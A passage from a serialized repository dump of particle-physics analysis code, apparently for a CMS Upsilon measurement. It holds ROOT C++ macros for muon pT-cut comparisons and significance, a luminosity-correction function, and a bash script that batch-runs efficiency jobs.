legMC2->SetBorderSize(0);\n legMC2->SetTextFont(42); \n legMC2->SetTextSize(0.03);\n legMC2->SetHeader(\"MC, 0.8 < |y| < 1.6\");\n legMC2->AddEntry(beMC34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n legMC2->AddEntry(beMC3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n legMC2->AddEntry(beMC3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n legMC2->AddEntry(beMC3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n legMC2->AddEntry(beMC44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n legMC2->Draw();\n\n TCanvas *cMC3 = new TCanvas(\"cMC3_name\",\"cMC3_title\",800,800);\n cMC3->cd();\n\n UpsilonTree->Draw(\"invariantMass>>b34(70,7,14)\",cutMC_0p8+cutMC34,\"\");\n b34->SetFillColor(kViolet); \n float N_SIG_34_b= b34->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>b3p53p5(70,7,14)\",cutMC_0p8+cutMC3p53p5,\"same\");\n b3p53p5->SetFillColor(kOrange); \n float N_SIG_3p53p5_b= b3p53p5->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>b3p54(70,7,14)\",cutMC_0p8+cutMC3p54,\"same\");\n b3p54->SetFillColor(kBlue); \n float N_SIG_3p54_b= b3p54->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>b3p54p5(70,7,14)\",cutMC_0p8+cutMC3p54p5,\"same\");\n b3p54p5->SetFillColor(kGreen+1); \n float N_SIG_3p54p5_b= b3p54p5->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>b44(70,7,14)\",cutMC_0p8+cutMC44,\"same\");\n b44->SetFillColor(kRed); \n float N_SIG_44_b= b44->Integral(22,27);\n\n cout <<\" pt4 pt4 \" << N_SIG_44_b << \", \" << N_SIG_34_b << endl; \n // cMC3->GetPad(0)->SetLogy(); \n // computing added values:\n float avs_3p53p5_b = 100*(N_SIG_3p53p5_b-N_SIG_44_b)/N_SIG_44_b;\n float avs_34_b = 100*(N_SIG_34_b-N_SIG_44_b)/N_SIG_44_b;\n float avs_3p54_b = 100*(N_SIG_3p54_b-N_SIG_44_b)/N_SIG_44_b;\n float avs_3p54p5_b = 100*(N_SIG_3p54p5_b-N_SIG_44_b)/N_SIG_44_b;\n\n cout <<\" Added Values for Signal at |y| < 0.8: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avs_34_b << endl;\n cout <<\" 3.5 + 4 - \" << avs_3p54_b << endl;\n cout <<\" 3.5 + 3.5 - \" << avs_3p53p5_b << endl;\n cout <<\" 3.5 + 4.5 - \" << avs_3p54p5_b << endl;\n \n b34->Draw();\n b3p53p5->Draw(\"same\");\n b3p54->Draw(\"same\");\n b3p54p5->Draw(\"same\");\n b44->Draw(\"same\");\n legMC3 = new TLegend(0.5,0.6,0.93,0.93);\n legMC3->SetFillStyle(0);\n legMC3->SetFillColor(0);\n legMC3->SetBorderSize(0);\n legMC3->SetTextFont(42); \n legMC3->SetTextSize(0.03);\n legMC3->SetHeader(\"MC,|y| < 0.8\");\n legMC3->AddEntry(b34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n legMC3->AddEntry(b3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n legMC3->AddEntry(b3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n legMC3->AddEntry(b3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n legMC3->AddEntry(b44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n legMC3->Draw();\n cout << \" 3.5, 3.5 \" <<\"& Gain in left SB, m_{\\mu\\mu} \\in [7,9.2[ & \" << \" & Gain in MC Signal, m_{\\mu\\mu} \\in [9.2,9.7] &\" << \"&Gain in right SB, m_{\\mu\\mu} \\in [9.7,14] &\" << endl;\n cout << \"|y| < 0.8 &\" << avl_3p53p5_b << \" & \" <<avs_3p53p5_b << \" & \" <<avr_3p53p5_b << \" & \" << endl; \n cout << \"0.8 < |y| < 1.6 &\" << avl_3p53p5_be << \" & \" <<avs_3p53p5_be << \" & \" <<avr_3p53p5_be << \" & \" << endl; \n cout << \"1.6 < |y| < 2.4&\" << avl_3p53p5_b << \" & \" <<avs_3p53p5_b << \" & \" <<avr_3p53p5_b << \" & \" << endl; \n cout << \" 3.5, 4 \" <<\"& Gain in left SB, m_{\\mu\\mu} \\in [7,9.2] & \" << \" & Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << \"&Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << endl;\n cout << \"|y| < 0.8 &\" << avl_3p54_b << \" & \" <<avs_3p54_b << \" & \" <<avr_3p54_b << \" & \" << endl; \n cout << \"0.8 < |y| < 1.6 &\" << avl_3p54_be << \" & \" <<avs_3p54_be << \" & \" <<avr_3p54_be << \" & \" << endl; \n cout << \"1.6 < |y| < 2.4&\" << avl_3p54_b << \" & \" <<avs_3p54_b << \" & \" <<avr_3p54_b << \" & \" << endl; \n cout << \" 3.5, 4.5 \" <<\"& Gain in left SB, m_{\\mu\\mu} \\in [7,9.2] & \" << \" & Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << \"&Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << endl;\n cout << \"|y| < 0.8 &\" << avl_3p54p5_b << \" & \" <<avs_3p54p5_b << \" & \" <<avr_3p54p5_b << \" & \" << endl; \n cout << \"0.8 < |y| < 1.6 &\" << avl_3p54p5_be << \" & \" <<avs_3p54p5_be << \" & \" <<avr_3p54p5_be << \" & \" << endl; \n cout << \"1.6 < |y| < 2.4&\" << avl_3p54p5_b << \" & \" <<avs_3p54p5_b << \" & \" <<avr_3p54p5_b << \" & \" << endl; \n cout << \" 3., 4, \" <<\"& Gain in left SB, m_{\\mu\\mu} \\in [7,9.2] & \" << \" & Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << \"&Gain in SB, m_{\\mu\\mu} \\in [7,9.2] &\" << endl;\n cout << \"|y| < 0.8 &\" << avl_34_b << \" & \" <<avs_34_b << \" & \" <<avr_34_b << \" & \" << endl; \n cout << \"0.8 < |y| < 1.6 &\" << avl_34_be << \" & \" <<avs_34_be << \" & \" <<avr_34_be << \" & \" << endl; \n cout << \"1.6 < |y| < 2.4&\" << avl_34_b << \" & \" <<avs_34_b << \" & \" <<avr_34_b << \" & \" << endl; \n //return ;\n\n float signif44_0p8 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); //k*N_SIG_44_b/sqrt(N_SIG_44_b+0.5*(N_BLS_44_b+N_BRS_44_b));\n float signif44_1p6 = computeSignificance(N_SIG_44_be,N_BLS_44_be,N_BRS_44_be); //k*N_SIG_44_be/sqrt(N_SIG_44_be+0.5*(N_BLS_44_be+N_BRS_44_be));\n float signif44_2p4 = computeSignificance(N_SIG_44_e,N_BLS_44_e,N_BRS_44_e); //k*N_SIG_44_e/sqrt(N_SIG_44_e+0.5*(N_BLS_44_e+N_BRS_44_e));\n\n float signif3p54_0p8 = computeSignificance(N_SIG_3p54_b,N_BLS_3p54_b,N_BRS_3p54_b); \n float signif3p54_1p6 = computeSignificance(N_SIG_3p54_be,N_BLS_3p54_be,N_BRS_3p54_be); \n float signif3p54_2p4 = computeSignificance(N_SIG_3p54_e,N_BLS_3p54_e,N_BRS_3p54_e); \n\n float signif3p53p5_0p8 = computeSignificance(N_SIG_3p53p5_b,N_BLS_3p53p5_b,N_BRS_3p53p5_b); \n float signif3p53p5_1p6 = computeSignificance(N_SIG_3p53p5_be,N_BLS_3p53p5_be,N_BRS_3p53p5_be); \n float signif3p53p5_2p4 = computeSignificance(N_SIG_3p53p5_e,N_BLS_3p53p5_e,N_BRS_3p53p5_e); \n\n float signif3p54p5_0p8 = computeSignificance(N_SIG_3p54p5_b,N_BLS_3p54p5_b,N_BRS_3p54p5_b); \n float signif3p54p5_1p6 = computeSignificance(N_SIG_3p54p5_be,N_BLS_3p54p5_be,N_BRS_3p54p5_be); \n float signif3p54p5_2p4 = computeSignificance(N_SIG_3p54p5_e,N_BLS_3p54p5_e,N_BRS_3p54p5_e); \n\n float signif34_0p8 = computeSignificance(N_SIG_34_b,N_BLS_34_b,N_BRS_34_b); \n float signif34_1p6 = computeSignificance(N_SIG_34_be,N_BLS_34_be,N_BRS_34_be); \n float signif34_2p4 = computeSignificance(N_SIG_34_e,N_BLS_34_e,N_BRS_34_e); \n // float signif3p54p5_0p8 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n // float signif3p54p5_1p6 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n // float signif3p54p5_2p4 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n\n // float signif3p54p5_0p8 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n // float signif3p54p5_1p6 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n // float signif3p54p5_2p4 = computeSignificance(N_SIG_44_b,N_BLS_44_b,N_BRS_44_b); \n cout << \"significances in the 4GeV4GeV sample:\"<<endl;\n cout << signif44_0p8<<\"; \"<<signif44_1p6<<\"; \"<<signif44_2p4<<endl;\n\n cout << \"significances in the better 3p5GeV4GeV sample:\"<<endl;\n cout << signif3p54_0p8<<\"; \"<<signif3p54_1p6<<\"; \"<<signif3p54_2p4<<endl;\n\n cout << \"significances in the good 3p5GeV3p5GeV sample:\"<<endl;\n cout << signif3p53p5_0p8<<\"; \"<<signif3p53p5_1p6<<\"; \"<<signif3p53p5_2p4<<endl;\n\n cout << \"significances in the nice 3p5GeV4p5GeV sample:\"<<endl;\n cout << signif3p54p5_0p8<<\"; \"<<signif3p54p5_1p6<<\"; \"<<signif3p54p5_2p4<<endl;\n\n cout << \"significances in the fair 3GeV4GeV sample:\"<<endl;\n cout << signif34_0p8<<\"; \"<<signif34_1p6<<\"; \"<<signif34_2p4<<endl;\n\n cout << \"ratios of significance\" << endl;\n\n float _3p53p5_0p8 = 100*(signif3p53p5_0p8-signif44_0p8)/signif44_0p8;\n float _34_0p8 = 100*(signif34_0p8-signif44_0p8) /signif44_0p8;\n float _3p54_0p8 = 100*(signif3p54_0p8-signif44_0p8) /signif44_0p8;\n float _3p54p5_0p8 = 100*(signif3p54p5_0p8-signif44_0p8)/signif44_0p8;\n\n float _3p53p5_1p6 = 100*(signif3p53p5_1p6-signif44_1p6)/signif44_1p6;\n float _34_1p6 = 100*(signif34_1p6-signif44_1p6) /signif44_1p6;\n float _3p54_1p6 = 100*(signif3p54_1p6-signif44_1p6) /signif44_1p6;\n float _3p54p5_1p6 = 100*(signif3p54p5_1p6-signif44_1p6)/signif44_1p6;\n\n float _3p53p5_2p4 = 100*(signif3p53p5_2p4-signif44_2p4)/signif44_2p4;\n float _34_2p4 = 100*(signif34_2p4-signif44_2p4) /signif44_2p4;\n float _3p54_2p4 = 100*(signif3p54_2p4-signif44_2p4) /signif44_2p4;\n float _3p54p5_2p4 = 100*(signif3p54p5_2p4-signif44_2p4)/signif44_2p4;\n\n cout << \" RAPIDITY REGION-- cut 3p5+3p5 ----- cut 3p5+4 ----- cut 3p5+4p5 \" << endl;\n cout << \" |y| < 0.8 & \" << _3p53p5_0p8 << \" & \" << _3p54_0p8 << \" & \" <<_3p54p5_0p8 << \" & \" <<_34_0p8 << \" & \" << endl; \n cout << \"0.8 < |y| < 1.6 & \" << _3p53p5_1p6 << \" & \" << _3p54_1p6 << \" & \" <<_3p54p5_1p6 << \" & \" <<_34_1p6 << \" & \" << endl; \n cout << \"1.6 < |y| < 2.4 & \" << _3p53p5_2p4 << \" & \" << _3p54_2p4 << \" & \" <<_3p54p5_2p4 << \" & \" <<_34_2p4 << \" & \" << endl; \n}\n\n\n\n\nvoid plotMoreDistributions(){\n //// third sector\n gROOT->Macro(\"cm/logon.C+\");\n TCut OutMassUps(\"(invariantMass>7&&invariantMass<9.2)||(invariantMass>9.7&&invariantMass<14)\");\n TCut MassUps(\"invariantMass>9.2 && invariantMass<9.7\");\n \n \n TFile *_file0 = TFile::Open(\"../dimuonTree_upsiMiniTree_AA2p76tev_ptmuSpecial_nov25_2013_trigBit1_allTriggers1_testNoCut.root\");\n TH1F defaultStuff(\"defaultStuff\",\"initialisation stuff\",70,7,14);\n UpsilonTree->Draw(\"invariantMass>>defaultStuff\",\"\",\"\");\n //oh yeah!\n TCanvas *c2D = new TCanvas(\"c2D_name\",\"c2D_title\",900,900);\n c2D->Divide(3,3);\n c2D->cd(1);\n UpsilonTree->Draw(\"muPlusPt:muMinusPt>>a1(100,0,10,100,0,10)\",OutMassUps,\"colz\");\n a1->GetXaxis()->SetTitle(\"p_{T}#mu^{+} [GeV/c]\");\n a1->GetYaxis()->SetTitle(\"p_{T}#mu^{-} [GeV/c]\");\n c2D->cd(2);\n UpsilonTree->Draw(\"muLeadingPt:muSubLeadingPt>>a2(100,0,10,100,0,10)\",OutMassUps,\"colz\");\n a2->GetXaxis()->SetTitle(\"Subleading p_{T} [GeV/c]\");\n a2->GetYaxis()->SetTitle(\"Leading p_{T} [GeV/c]\");\n c2D->cd(3);\n UpsilonTree->Draw(\"muAsymmetryPt>>a3(100,0,1)\",OutMassUps,\"\");\n a3->GetXaxis()->SetTitle(\"#frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n a3->GetYaxis()->SetTitle(\"#frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n\n TFile *_file1 = TFile::Open(\"../upsiMiniTree_pyquen1S_noMuonPtCuts_QQtrigbit1_Trig_analysisOK_20140729_cuts10-006.root\");//upsiMiniTree_Pyquen1S_QQtrigbit1_Trig_Unfolding_postCut_deltaRmatched_withCentrality.root\");\n\n c2D->cd(4);\n UpsilonTree->Draw(\"muPlusPt:muMinusPt>>a4(100,0,10,100,0,10)\",MassUps,\"colz\");\n a4->GetXaxis()->SetTitle(\"p_{T}#mu^{+} [GeV/c]\");\n a4->GetYaxis()->SetTitle(\"p_{T}#mu^{-} [GeV/c]\");\n c2D->cd(5);\n UpsilonTree->Draw(\"muLeadingPt:muSubLeadingPt>>a5(100,0,10,100,0,10)\",MassUps,\"colz\");\n a5->GetXaxis()->SetTitle(\"Subleading p_{T} [GeV/c]\");\n a5->GetYaxis()->SetTitle(\"Leading p_{T} [GeV/c]\");\n c2D->cd(6);\n UpsilonTree->Draw(\"muAsymmetryPt>>a6(100,0,1)\",MassUps,\"\");\n a6->GetXaxis()->SetTitle(\"#frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n a6->GetYaxis()->SetTitle(\"#frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n\n c2D->cd(7);\n UpsilonTree->Draw(\"muPlusPt_gen:muMinusPt_gen>>a7(100,0,10,100,0,10)\",MassUps,\"colz\");\n a7->GetXaxis()->SetTitle(\"Gen p_{T}#mu^{+} [GeV/c]\");\n a7->GetYaxis()->SetTitle(\"Gen p_{T}#mu^{-} [GeV/c]\");\n c2D->cd(8);\n UpsilonTree->Draw(\"muLeadingPt_gen:muSubLeadingPt_gen>>a8(100,0,10,100,0,10)\",MassUps,\"colz\");\n a8->GetXaxis()->SetTitle(\"Gen Subleading p_{T} [GeV/c]\");\n a8->GetYaxis()->SetTitle(\"Gen Leading p_{T} [GeV/c]\");\n c2D->cd(9);\n UpsilonTree->Draw(\"muAsymmetryPt_gen>>a9(100,0,1)\",MassUps,\"\");\n a9->GetXaxis()->SetTitle(\"Gen-level #frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n a9->GetYaxis()->SetTitle(\"Gen-level #frac{p^{1}_{T}-p^{2}_{T}}{p^{1}_{T}+p^{2}_{T}}\");\n \n c2D->SaveAs(\"~/Desktop/Grenelle/2DplotsAndAsymmetry.pdf\");\n}\n\nfloat computeSignificance(float nsig, float nbkgL, float nbkgR){\n float k = 4977./nsig;\n float sizeL = 2.2/7.;\n float sizeR = 4.3/7.;\n float signif = (k*nsig)/sqrt(k*nsig+0.5*(nbkgL*sizeL+nbkgR*sizeR));\n return signif;\n}\n\n // for(int r=rapidityBinStart;r<rapidityBinStop;r++){\n // switch r{\n // case 0:\n // \tTCanvas *cb = new TCanvas(\"cb\",\"cb\",1200,800);\n // \tcb->cd();\n // \tbreak;\n // case 1:\n // \tTCanvas *cbe = new TCanvas(\"cbe\",\"cbe\",1200,800);\n // \tcbe->cd();\n // \tbreak;\n // case 2:\n // \tTCanvas *ce = new TCanvas(\"ce\",\"ce\",1200,800);\n // \tce->cd();\n // \tbreak;\n // default: break;\n // }\n // rapa=rapa_init[r];\n // rapb=rapb_init[r+1];\n \n // cout <<\"----- list of pt cuts done -----\"<< endl;\n // for(int p1=ptCutStart; p1<=ptCutStop; p1++)\n // {\n // \tfor(int p2=ptCutStart; p2<=ptCutStop; p2++){\n // \t if( p2< p1) continue;\n // \t cout << p1 << \" \" << p2 <<endl;\n // \t pta=pta_init[p1];\n // \t ptb=ptb_init[p2];\n // \t cout << \"pT(1) > \"<< pta <<\" and pT(2) > \"<< ptb <<endl;\n\t\n // \t if( rapa==rapidityBinStart && pta==ptCutStart && ptb==ptCutStart ){option=true;}\n // \t cout << rapa << \" \" << rapb << \" \" << pta << \" \" << ptb << \" \" << option << endl;\n // \t plotSimple(rapa,rapb,pta,ptb,option);\n // \t}\n // }\n // switch r\n // {\n // case 0:\n // \tcb->Draw();\n // \tbreak;\n // case 1:\n // \tcbe->Draw();\n // \tbreak;\n // case 2:\n // \tce->Draw();\n // \tbreak;\n // default: break;\n // }\n //}\n \n\n\n// void plotSimple(float rapCut0, float rapCut1, float ptCut0, float ptCut1,bool opt){\n \n// string drawSame;\n// TCut cutter(Form(\"(abs(upsRapidity)>%.1f && abs(upsRapidity)<%.1f) && ((muPlusPt>%.1f && muMinusPt>%.1f)||(muPlusPt>%.1f && muMinusPt>%.1f))\",rapCut0,rapCut1,ptCut0,ptCut1,ptCut1,ptCut0));\n// if(!opt){drawSame = \"same\";}\n// // cout << cutter.Print() <<endl;\n// UpsilonTree->Draw(\"invariantMass>>tmp(70,7,14)\",cutter,drawSame);\n\n\n\n// TCut cutter();\n// if (rapidityBin==1){cutter=cut_0p8;}else if (rapidityBin==2){cutter=cut_1p6 ;}else if (rapidityBin==3){cutter=cut_2p4 ;}\n// switch rapidityBin{\n// case 1:\n// cutter=cut_0p8;\n// break;\n// case 2:\n// cutter=cut_1p6;\n// break;\n// case 3:\n// cutter=cut_2p4;\n// break;\n// default:\n// cutter=0;\n// break;\n// }\n \n// // barrel: |y| < 0.8 \n\n// \n// b3p53p5->SetFillColor(kRed+2); \n// float sbl_b3p53p5 = b3p53p5->Integral(\"invariantMass<9.2 && invariantMass > 7\");\n// cout << sbl_b3p53p5 << endl;\n// UpsilonTree->Draw(\"invariantMass>>b3p54(70,7,14)\",cut_0p8+cut3p54,\"same\");\n// b3p54->SetFillColor(kBlue); \n// UpsilonTree->Draw(\"invariantMass>>b3p54p5(70,7,14)\",cut_0p8+cut3p54p5,\"same\");\n// b3p54p5->SetFillColor(kGreen+1); \n// UpsilonTree->Draw(\"invariantMass>>b44(70,7,14)\",cut_0p8+cut44,\"same\");\n// b44->SetFillColor(kRed); \n\n// UpsilonTree->Draw(\"invariantMass>>b4p54p5(70,7,14)\",cut_0p8+cut4p54p5,\"same\");\n// b4p54p5->SetFillColor(kOrange); \n\n// c1->Draw();\n\n// // barrel+endcap : 0.8 < |y| < 1.6\n// TCanvas *c2 = new TCanvas(\"c2_name\",\"c2_title\",1200,800);\n// c2->cd();\n// UpsilonTree->Draw(\"invariantMass>>be3p53p5(70,7,14)\",cut_1p6+cut3p53p5,\"\");\n// be3p53p5->SetFillColor(kRed+2); \n// UpsilonTree->Draw(\"invariantMass>>be3p54(70,7,14)\",cut_1p6+cut3p54,\"same\");\n// be3p54->SetFillColor(kBlue); \n// UpsilonTree->Draw(\"invariantMass>>be3p54p5(70,7,14)\",cut_1p6+cut3p54p5,\"same\");\n// be3p54p5->SetFillColor(kGreen+1); \n// UpsilonTree->Draw(\"invariantMass>>be44(70,7,14)\",cut_1p6+cut44,\"same\");\n// be44->SetFillColor(kRed); \n\n// UpsilonTree->Draw(\"invariantMass>>be4p54p5(70,7,14)\",cut_1p6+cut4p54p5,\"same\");\n// be4p54p5->SetFillColor(kOrange); \n\n// c2->Draw();\n\n// // endcap : |y| > 1.6\n// TCanvas *c3 = new TCanvas(\"c3_name\",\"c3_title\",1200,800);\n// c3->cd(); \n// UpsilonTree->Draw(\"invariantMass>>e3p53p5(70,7,14)\",cut_2p4+cut3p53p5,\"\");\n// e3p53p5->SetFillColor(kRed+2); \n// UpsilonTree->Draw(\"invariantMass>>e3p54(70,7,14)\",cut_2p4+cut3p54,\"same\");\n// e3p54->SetFillColor(kBlue); \n// UpsilonTree->Draw(\"invariantMass>>e3p54p5(70,7,14)\",cut_2p4+cut3p54p5,\"same\");\n// e3p54p5->SetFillColor(kGreen+1); \n// UpsilonTree->Draw(\"invariantMass>>e44(70,7,14)\",cut_2p4+cut44,\"same\");\n// e44->SetFillColor(kRed); \n\n// UpsilonTree->Draw(\"invariantMass>>e4p54p5(70,7,14)\",cut_2p4+cut4p54p5,\"same\");\n// e4p54p5->SetFillColor(kOrange); \n\n// c3->Draw();\n\n//}\n" }, { "alpha_fraction": 0.602150559425354, "alphanum_fraction": 0.6523297429084778, "avg_line_length": 24.363636016845703, "blob_id": "d1d86d07463741e4f1bd73e19a9d6b9213b89356", "content_id": "98e0789585bc8ac89fa2e67779957c3f096666bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 279, "license_type": "no_license", "max_line_length": 75, "num_lines": 11, "path": "/plotting/CentLumiCorr.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "float CentLumiCorr (int State, int Bin)\n{\n float lumicorr;\n if(State==1){\n lumicorr = L_pp_invNb/(1000*taa1S[Bin]*N_MB_corr*mb_percentage1S[Bin]);\n }\n else if (State==2){\n lumicorr = L_pp_invNb/(1000*taa2S[Bin]*N_MB_corr*mb_percentage2S[Bin]);\n }\n return lumicorr;\n}\n" }, { "alpha_fraction": 0.5162765383720398, "alphanum_fraction": 0.5472155213356018, "avg_line_length": 39.40217208862305, "blob_id": "fc491ca523fe5a8c8d1484f33c168b42d82eb986", "content_id": "8c87deb52118f43731df32fa30086c507393b51d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3717, "license_type": "no_license", "max_line_length": 177, "num_lines": 92, "path": "/acceptance_efficiency/doTPvars.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nbasedir=/home/llr/cms/chapon/data_CMS/upsilon/effs/effs_20160307\nmacro=/home/llr/cms/chapon/data_CMS/upsilon/effs/doEff.C\n\ncoll=pbpb\n\nfor ns in 1 2; do\n for binning in 1 2; do\n dirname=\"effs_Y${ns}S_bins${binning}_${coll}\"\n\n for i in `seq 0 100`; do\n echo $i\n sleep 1\n while [ `ps aux | grep root.exe | grep chapon | wc -l` -gt 25 ] ; do\n sleep 1\n done\n dirnamefull=${basedir}/${dirname}/results_muidtrg_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen1SPbPbMC_*.root\",1,true,2,'$binning','$i',0)' 2>&1 >/dev/null &\n else \n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen2SPbPbMC_*.root\",2,true,2,'$binning','$i',0)' 2>&1 >/dev/null &\n fi\n cd -\n done\n\n for i in `seq 0 100`; do\n echo $i\n sleep 1\n while [ `ps aux | grep root.exe | grep chapon | wc -l` -gt 25 ] ; do\n sleep 1\n done\n dirnamefull=${basedir}/${dirname}/results_sta_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen1SPbPbMC_*.root\",1,true,2,'$binning',0,'$i')' 2>&1 >/dev/null &\n else \n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen2SPbPbMC_*.root\",2,true,2,'$binning',0,'$i')' 2>&1 >/dev/null &\n fi\n cd -\n done\n done\ndone\n\ncoll=pp\n\nfor ns in 1 2 3; do\n for binning in 1 2; do\n dirname=\"effs_Y${ns}S_bins${binning}_${coll}\"\n\n for i in `seq 0 100`; do\n echo $i\n sleep 1\n while [ `ps aux | grep root.exe | grep chapon | wc -l` -gt 25 ] ; do\n sleep 1\n done\n dirnamefull=${basedir}/${dirname}/results_muidtrg_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC1S_fixedFSR.root\",1,false,2,'$binning','$i',0)' 2>&1 >/dev/null &\n elif [ $ns -eq 2 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC2S_full.root\",2,false,2,'${binning}','$i',0)' 2>&1 >/dev/null &\n else \n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC3S_full.root\",3,false,2,'${binning}','$i',0)' 2>&1 >/dev/null &\n fi\n cd -\n done\n\n for i in `seq 0 100`; do\n echo $i\n sleep 1\n while [ `ps aux | grep root.exe | grep chapon | wc -l` -gt 25 ] ; do\n sleep 1\n done\n dirnamefull=${basedir}/${dirname}/results_sta_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC1S_fixedFSR.root\",1,false,2,'$binning',0,'$i')' 2>&1 >/dev/null &\n elif [ $ns -eq 2 ]; then\n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC2S_full.root\",2,false,2,'${binning}',0,'$i')' 2>&1 >/dev/null &\n else \n nice root -l -b -q ${macro}'(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC3S_full.root\",3,false,2,'${binning}',0,'$i')' 2>&1 >/dev/null &\n fi\n cd -\n done\n done\ndone\n" }, { "alpha_fraction": 0.5766591429710388, "alphanum_fraction": 0.6306197643280029, "avg_line_length": 45.002525329589844, "blob_id": "a4598863aef0876b1129740c9f03c7598a06c7d2", "content_id": "6efc4faea888492bc7b747daf1b83f11689a3c50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 18217, "license_type": "no_license", "max_line_length": 215, "num_lines": 396, "path": "/fitting/cutChecker.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef __CINT__\n#include \"RooGlobalFunc.h\"\n#endif\n\n#include \"RooAbsPdf.h\"\n#include \"RooAddPdf.h\"\n#include \"RooCBShape.h\"\n#include \"RooChebychev.h\"\n#include \"RooConstVar.h\"\n#include \"RooDataSet.h\"\n#include \"RooFitResult.h\"\n#include \"RooGaussian.h\"\n#include \"RooGenericPdf.h\"\n#include \"RooHist.h\"\n#include \"RooHistPdf.h\"\n#include \"RooDataHist.h\"\n#include \"RooKeysPdf.h\"\n#include \"RooProdPdf.h\"\n#include \"RooMCStudy.h\"\n#include \"RooPolynomial.h\"\n#include \"RooRealVar.h\"\n#include \"RooPlot.h\"\n#include \"RooWorkspace.h\"\n#include \"RooChi2Var.h\"\n\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/ProfileLikelihoodCalculator.h\"\n#include \"RooStats/LikelihoodInterval.h\"\n#include \"RooStats/LikelihoodIntervalPlot.h\"\n\n// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n#include \"TCut.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n\nusing namespace std;\nusing namespace ROOT; \nusing namespace RooFit;\n///macro to make efficiencies .\n\n\nvoid cutChecker()\n{\n int kCut =2 ;//1:vProb, 2:dca, 3:MatchedStations, 4:ctau/ctauErr\n int pbpb=false;\n gROOT->Macro(\"./cm/logon.C+\");//it all looks much nicer with this. \n // TString 